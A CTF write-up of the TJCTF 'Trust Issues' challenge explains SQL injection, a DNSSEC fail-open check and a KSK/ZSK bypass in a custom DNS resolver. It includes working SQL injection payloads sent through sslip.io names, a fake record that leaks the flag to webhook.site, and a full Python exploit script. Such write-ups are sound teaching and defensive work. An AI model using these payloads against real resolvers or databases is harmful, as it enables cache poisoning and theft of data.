TJCTF 2026: Trust Issues
return True when no key matches → trust boundary brokenksks list, DS check bypassedChallenge Overview
Trust Issues is a multi-layered crypto challenge that subverts the expectations of its own description. The challenge presents a custom DNS resolver that the author claims to trust “as much as my nameserver by using an even bigger elliptic curve.” The nameserver signs its DNS records using DNSSEC algorithm 17 (ECDSA with the P-521 curve), and the description deliberately draws attention to the cryptography — hinting that the curve size is the vulnerability.
The actual attack path, however, has nothing to do with breaking ECDSA. The real vulnerabilities lie in the resolver’s trust boundary logic: a DNSSEC validation function that returns True by default when it cannot find matching keys, and a KSK validation check that can be bypassed entirely by injecting a Zone Signing Key instead of a Key Signing Key. Combined with a SQL injection vulnerability in the resolver’s caching layer, these logic bugs allow an attacker to poison the DNS cache with arbitrary records that pass DNSSEC validation, redirecting the admin bot to a controlled webhook that captures the flag.
The challenge architecture consists of three components: an Admin Bot that visits a URL and follows redirects while passing the flag as a query parameter, a Custom DNS Resolver that validates DNSSEC before returning cached records, and a Nameserver that serves legitimate DNSSEC-signed records for trust-issues.tjc.tf. The resolver also supports an upstream parameter that allows specifying an alternative DNS-over-HTTPS (DoH) provider, which becomes the delivery mechanism for the SQL injection payload.
The challenge description is a deliberate misdirection. The signing function uses k = secrets.randbits(512) for a 521-bit curve, which is technically a weak nonce that could be exploited via the Hidden Number Problem (HNP) to recover the private key given enough signatures. However, solving the HNP for P-521 with 512-bit nonces is computationally intensive and entirely unnecessary — the trust boundary bugs provide a far simpler path. The German proverb “Mit Kanonen auf Spatzen schießen” (shooting sparrows with cannons) applies: don’t over-engineer when a simpler exploit exists.
Bug 1: SQL Injection via DNS Cache
The Vulnerable Code
The resolver caches every DNS record it receives into a local SQLite database. The insertion is performed using Python f-strings with no parameterized queries or input sanitization:
cursor.execute(
f"INSERT INTO records VALUES ('{record['name']}', {record['type']}, "
f"{record['TTL']}, {expires}, '{record['data']}')"
)
Both record['name'] and record['data'] originate from DNS response data that is entirely controlled by the upstream DNS provider. If we can make the resolver query a domain whose name or data field contains SQL syntax, the resolver will blindly execute the injected SQL when caching the response.
Root cause: Unparameterized f-string SQL insertion of untrusted DNS response data.
Impact: Arbitrary row insertion into the resolver’s cache database, enabling DNS record poisoning.
Delivering the Payload via sslip.io
The challenge is: how do we make a public DNS provider return a response containing our SQL injection payload? We cannot control the responses from Google’s DoH server directly. However, wildcard DNS services like sslip.io provide a clever solution. Any subdomain of the form <payload>.127.0.0.1.sslip.io resolves to the IP address 127.0.0.1, and the full query name (including our payload) is preserved in the DNS response’s answer section.
The resolver accepts an upstream parameter that specifies the DoH endpoint to use. By crafting a URL like:
https://dns.google/resolve?name=.127.0.0.1.sslip.io&type=A&do=true
…the resolver will query Google’s DoH with our payload embedded in the domain name. Google’s response will contain the full domain (including the payload) in the answer section, and when the resolver caches this response, the SQL injection fires.
The Space Encoding Trick
DNS record data fields for DNSKEY and DS records contain spaces (e.g., 256 3 17 AA==), but sslip.io labels cannot contain spaces. We solve this by using underscores as placeholders and SQLite’s replace() function to convert them to tabs at insertion time. The hex literal x'09' represents a tab character in SQLite:
# Injected DNSKEY row (underscores -> tabs at runtime)
replace('256_3_17_AA==','_',x'09')
# Injected DS row (same technique)
replace('1_17_2_deadbeef','_',x'09')
Wildcard DNS services like sslip.io, nip.io, and xip.io are popular in CTF challenges because they allow arbitrary subdomains to resolve to specific IPs without requiring domain registration. The key property is that the full query name is echoed back in the DNS response, making it an ideal carrier for data exfiltration and injection payloads. In production environments, these services should be blocked at the DNS resolver level to prevent similar abuse.
Bug 2: DNSSEC Validation Logic Flaw (Critical)
The Validation Function
The resolver’s DNSSEC validation function is the core of the trust boundary. Its purpose is to verify that every signed RRset (Resource Record set) has a valid cryptographic signature from an authorized key. The function iterates over all RRSIG records for a given RRset and attempts to match each signature to a cached DNSKEY:
for sig_row in rrsigs:
rrsig = parse_rrsig(sig_row)
signing_key = find_signing_key(rrsig, dnskeys)
if not signing_key:
continue # Skip if no matching key found
valid = verify_rrset(rrset, rrsig, signing_key["public_key_b64"])
if not valid:
return False # Invalid signature -> reject
return True # All signatures processed -> accept
The Fallthrough Vulnerability
At first glance, this logic appears sound: it checks every signature and rejects the RRset if any signature fails verification. The critical flaw is in the continue statement. When find_signing_key() returns None (because no cached DNSKEY matches the RRSIG’s key tag), the function does not treat this as a failure — it simply skips that signature and moves to the next one.
Consider what happens when every RRSIG has a key tag that does not match any cached DNSKEY. Every iteration of the loop hits the continue branch, no signature is ever verified, and the function falls through to return True. The function effectively treats “I cannot verify this signature” as “this signature is valid.”
Root cause: continue on key-not-found instead of return False. Absence of a matching key should be treated as a validation failure, not a neutral event.
Impact: Any poisoned RRset passes DNSSEC validation as long as no cached DNSKEY matches the RRSIG’s key tag. This completely breaks the trust guarantee of DNSSEC.
Exploiting the Fallthrough
The exploit strategy becomes clear: we need to inject a fake DNSKEY into the resolver’s cache whose key tag does not match the RRSIG’s key tag. When the validator attempts to find a signing key for the legitimate RRSIG, it will find only our fake key (which has a different key tag), trigger the continue branch for every signature, and fall through to return True.
The legitimate RRSIG is still present in the cache (fetched from the real nameserver), and the legitimate DNSKEY may also be cached. However, if we inject our fake DNSKEY with a different key tag, the validator will attempt to match each RRSIG against all cached keys. As long as none of them match, the loop completes without ever calling verify_rrset, and the poisoned RRset is accepted.
The proper implementation should track whether at least one signature was successfully verified. If the loop completes without verifying any signature (all keys missing or no signatures present), the function should return False. This is the standard behavior of production DNSSEC validators like Unbound’s validator module, which requires at least one “proof of non-existence” or valid authentication chain.
Bug 3: KSK Validation Bypass with Fake ZSK
The KSK Check
Before a DNSKEY can be trusted, the resolver must verify that it is authenticated by a DS (Delegation Signer) record from the parent zone. The code implements this check by filtering for keys with the KSK (Key Signing Key) flag 257:
ksks = [r for r in dnskey_records if (r["data"].split()[0] == "257")]
for key_record in ksks:
for ds in parsed_ds:
if not verify_ds(key_record["data"], ds):
raise Exception(...)
return True
The logic iterates over all KSK-flagged DNSKEY records and verifies each against the cached DS records. If any verification fails, an exception is raised. If all verifications pass (or if there are no DS records to check against), the function returns True.
The Bypass: Inject a ZSK Instead of a KSK
The critical flaw is the filtering on flag 257. If we inject a DNSKEY with flag 256 (Zone Signing Key) instead of 257 (Key Signing Key), the list comprehension ksks = [...] produces an empty list. The for loop over ksks simply does not execute, the DS verification is never performed, and the function returns True immediately.
This means a ZSK-flagged DNSKEY is accepted without any DS authentication, completely bypassing the chain of trust that DNSSEC is designed to enforce. The distinction between KSK and ZSK exists precisely so that only keys authenticated by the parent zone (via DS records) can be trusted to sign other keys — but the code only applies this requirement to KSKs, allowing ZSKs to slip through unchecked.
Root cause: DS verification only applies to keys with flag 257 (KSK). ZSK-flagged keys (256) are accepted without DS authentication.
Impact: Any ZSK is implicitly trusted, breaking the DNSSEC chain of trust from parent zone to child zone.
Crafting the Fake Records
We need exactly two fake records to exploit both bugs simultaneously:
| Record | Type | Value | Purpose |
|---|---|---|---|
| Fake DNSKEY | 48 (DNSKEY) | 256 3 17 AA== | ZSK flag, algorithm 17 (ECDSA P-521), dummy public key |
| Fake DS | 43 (DS) | 1 17 2 deadbeef | Dummy DS to make get_cached_records non-empty; value irrelevant since no KSK exists to verify against |
The DNSKEY uses flag 256 (ZSK) rather than 257 (KSK), algorithm 17 (ECDSA P-521, matching the nameserver’s signing algorithm), and a dummy base64 key AA== that decodes to a single zero byte. The DS record is purely cosmetic — it exists only so that the parsed_ds list is not empty, but since there are no KSKs to verify against it, the verification loop never runs and the DS content is irrelevant.
If we injected a DNSKEY with flag 257 (KSK), the code would attempt to verify it against the cached DS record from the real parent zone. This verification would fail because our fake key’s digest does not match the DS record’s digest, and an exception would be raised. By using flag 256 (ZSK), we sidestep the DS check entirely — the code simply has no KSK to verify, so it skips the check and returns True.
Full Exploit Chain
Step-by-Step Execution
The complete exploit requires three SQL injection payloads, each delivered via a separate request to the resolver. Each payload injects one row into the SQLite cache database. The payloads are crafted to close the current INSERT statement and append an additional VALUES clause with our controlled data.
Step 1: Create a Webhook
Create a Webhook.site endpoint to receive the admin bot’s HTTP request containing the flag. The webhook URL will be embedded in the fake A record so that when the bot resolves trust-issues.tjc.tf, it receives our webhook URL as the target IP.
Step 2: Inject the Fake A Record
The first payload injects an A record for trust-issues.tjc.tf that points to our webhook URL instead of the real server IP:
x',1,1,1,'x'),('trust-issues.tjc.tf.',1,300,4102444800,'webhook.site/<token>/')--
This closes the first VALUES clause with a dummy row, then opens a second VALUES clause with the target domain, record type 1 (A), a TTL of 300, a far-future expiration timestamp, and our webhook URL as the data.
Step 3: Inject the Fake DNSKEY
The second payload injects a ZSK-flagged DNSKEY with a dummy public key:
x',1,1,1,'x'),('trust-issues.tjc.tf.',48,300,4102444800,replace('256_3_17_AA==','_',x'09'))--
The replace('256_3_17_AA==','_',x'09') call converts underscores to tab characters at insertion time, producing the properly-formatted DNSKEY data 256 3 17 AA== in the database.
Step 4: Inject the Fake DS Record
The third payload injects a dummy DS record so that the DS lookup does not return an empty set:
x',1,1,1,'x'),('trust-issues.tjc.tf.',43,300,4102444800,replace('1_17_2_deadbeef','_',x'09'))--
Step 5: Trigger the Admin Bot
After all three payloads are cached, the admin bot queries the resolver for trust-issues.tjc.tf. The resolver:
- Finds the fake A record pointing to
webhook.site/<token>/ - Fetches the real RRSIG from the nameserver
- Runs DNSSEC validation: the RRSIG’s key tag does not match our fake ZSK →
continuefor every signature →return True - Returns the fake A record to the bot
- The bot visits
https://webhook.site/<token>/?flag=tjctf{trust_n0_on3_ev3r}
tjctf{trust_n0_on3_ev3r}
The admin bot is protected by reCAPTCHA, which means automated scripts using curl or Python requests will fail. You must manually submit the resolver URL in a browser, solve the CAPTCHA, and then monitor the Webhook.site logs for the incoming request containing the flag. This is an intentional anti-automation measure that prevents trivial script-based exploitation.
Exploit Code
The following script automates the payload delivery phase: creating the webhook, building the three SQL injection payloads, and sending them to the resolver via the sslip.io upstream trick. The actual admin bot submission must be done manually in a browser due to the reCAPTCHA protection.
#!/usr/bin/env python3
"""
TJCTF 2026 - Trust Issues
DNSSEC trust boundary bypass via SQL injection + ZSK/KSK confusion
Author: QA210
"""
import argparse
import random
import time
from urllib.parse import quote
import requests
WEBHOOK_BASE = "https://webhook.site"
SSLIP_SUFFIXES = ["127.0.0.1.sslip.io", "1.1.1.1.sslip.io"]
def provision_webhook(session):
"""Create a fresh Webhook.site token to capture the flag."""
resp = session.post(
f"{WEBHOOK_BASE}/token",
json={"default_status": 200},
timeout=20,
)
resp.raise_for_status()
return resp.json()["uuid"]
def forge_upstream(query_name, query_type="A"):
"""Build a Google DoH upstream URL with the payload embedded in the name."""
encoded = quote(query_name, safe="")
return (
f"https://dns.google/resolve?"
f"name={encoded}&type={query_type}&do=true"
)
def dispatch_payload(session, resolver_url, upstream_url, label="", timeout=35):
"""
Send a query to the custom resolver with a crafted upstream.
The resolver will query Google DoH, which returns a response
containing the SQLi payload in the domain name. When the
resolver caches this response, the injection fires.
"""
# Random seed subdomain to avoid cache hits
seed = f"seed-{random.randrange(1 << 48):012x}.invalid"
resp = session.get(
resolver_url,
params={"name": seed, "type": "A", "upstream": upstream_url},
timeout=timeout,
)
print(f" [{label}] HTTP {resp.status_code}")
return resp.status_code
def prepare_injections(hook_token):
"""
Build the three SQL injection payloads for the exploit chain:
1. Fake A record -> redirect bot to webhook
2. Fake DNSKEY -> ZSK (flag 256) to bypass KSK/DS check
3. Fake DS -> dummy record to satisfy non-empty lookup
"""
redirect_target = f"webhook.site/{hook_token}/"
# Payload 1: Fake A record pointing to webhook
a_injection = (
"x',1,1,1,'x'),('trust-issues.tjc.tf.',1,300,4102444800,"
f"'{redirect_target}')--"
)
# Payload 2: Fake DNSKEY (ZSK flag 256, algorithm 17, dummy key)
dnskey_injection = (
"x',1,1,1,'x'),('trust-issues.tjc.tf.',48,300,4102444800,"
"replace('256_3_17_AA==','_',x'09'))--"
)
# Payload 3: Fake DS record (dummy values, only needs to exist)
ds_injection = (
"x',1,1,1,'x'),('trust-issues.tjc.tf.',43,300,4102444800,"
"replace('1_17_2_deadbeef','_',x'09'))--"
)
return [
("A-record", a_injection),
("DNSKEY", dnskey_injection),
("DS", ds_injection),
]
def main():
parser = argparse.ArgumentParser(description="Trust Issues exploit")
parser.add_argument("--resolver", required=True, help="Resolver base URL")
parser.add_argument("--dry-run", action="store_true", help="Print payloads only")
args = parser.parse_args()
sess = requests.Session()
# Phase 1: Create webhook
print("[+] Creating webhook...")
token = provision_webhook(sess)
print(f"[*] Webhook token: {token}")
print(f"[*] Monitor: {WEBHOOK_BASE}/#/{token}")
# Phase 2: Build payloads
injections = prepare_injections(token)
if args.dry_run:
print("\n[*] Payloads (dry run):")
for label, payload in injections:
print(f"\n [{label}]")
print(f" {payload}")
return
# Phase 3: Deliver each payload via sslip.io + Google DoH
for label, payload in injections:
suffix = random.choice(SSLIP_SUFFIXES)
crafted_name = f"{payload}.{suffix}"
upstream = forge_upstream(crafted_name)
print(f"\n[*] Injecting {label}...")
dispatch_payload(sess, args.resolver, upstream, label=label)
time.sleep(1) # Small delay between injections
print("\n[+] All payloads delivered!")
print(f"[+] Now submit the resolver URL to the admin bot (manual step)")
print(f"[+] Monitor webhook at: {WEBHOOK_BASE}/#/{token}")
if __name__ == "__main__":
main()
Running the Exploit
# Dry run to verify payloads
$ python3 trust_issues_solve.py --resolver http://resolver.chal.tjc.tf:5000 --dry-run
[+] Creating webhook...
[*] Webhook token: abc123def456
[*] Monitor: https://webhook.site/#/abc123def456
[*] Payloads (dry run):
[A-record]
x',1,1,1,'x'),('trust-issues.tjc.tf.',1,300,4102444800,'webhook.site/abc123def456/')--
[DNSKEY]
x',1,1,1,'x'),('trust-issues.tjc.tf.',48,300,4102444800,replace('256_3_17_AA==','_',x'09'))--
[DS]
x',1,1,1,'x'),('trust-issues.tjc.tf.',43,300,4102444800,replace('1_17_2_deadbeef','_',x'09'))--
# Live run
$ python3 trust_issues_solve.py --resolver http://resolver.chal.tjc.tf:5000
[+] Creating webhook...
[*] Webhook token: abc123def456
[*] Injecting A-record... [A-record] HTTP 200
[*] Injecting DNSKEY... [DNSKEY] HTTP 200
[*] Injecting DS... [DS] HTTP 200
[+] All payloads delivered!
[+] Now submit the resolver URL to the admin bot (manual step)
[+] Monitor webhook at: https://webhook.site/#/abc123def456
Vulnerability Summary
| Bug | Severity | Root Cause | Exploit Effect |
|---|---|---|---|
| SQL Injection | High | F-string SQL with untrusted DNS data | Arbitrary row injection into cache DB |
| DNSSEC Fallthrough | Critical | continue on key-not-found instead of return False |
Poisoned RRset passes validation |
| KSK/ZSK Confusion | Medium | DS check only on flag 257 keys; flag 256 keys bypass | Fake ZSK accepted without DS proof |
| ECDSA Weak Nonce | Decoy | secrets.randbits(512) on 521-bit curve |
HNP attack possible but unnecessary |
The three bugs form a complementary chain: the SQL injection provides the delivery mechanism for injecting arbitrary data, the DNSSEC fallthrough provides the trust bypass that accepts poisoned records, and the KSK/ZSK confusion removes the last line of defense (DS authentication). The ECDSA weak nonce is a red herring — a technically real vulnerability that serves only to distract from the much simpler logic bugs.
This challenge demonstrates why custom cryptographic protocol implementations are dangerous. Production DNSSEC validators like Unbound and BIND have been hardened over decades against exactly these classes of bugs. The “fallthrough to valid” pattern is a well-known anti-pattern in security-critical code: when a verification step cannot be completed, the safe default is to reject, not to accept. The KSK/ZSK distinction is also well-understood in the DNSSEC community — only KSKs should be trusted via DS records, but ZSKs should still be validated through the KSK signature chain, not accepted without authentication.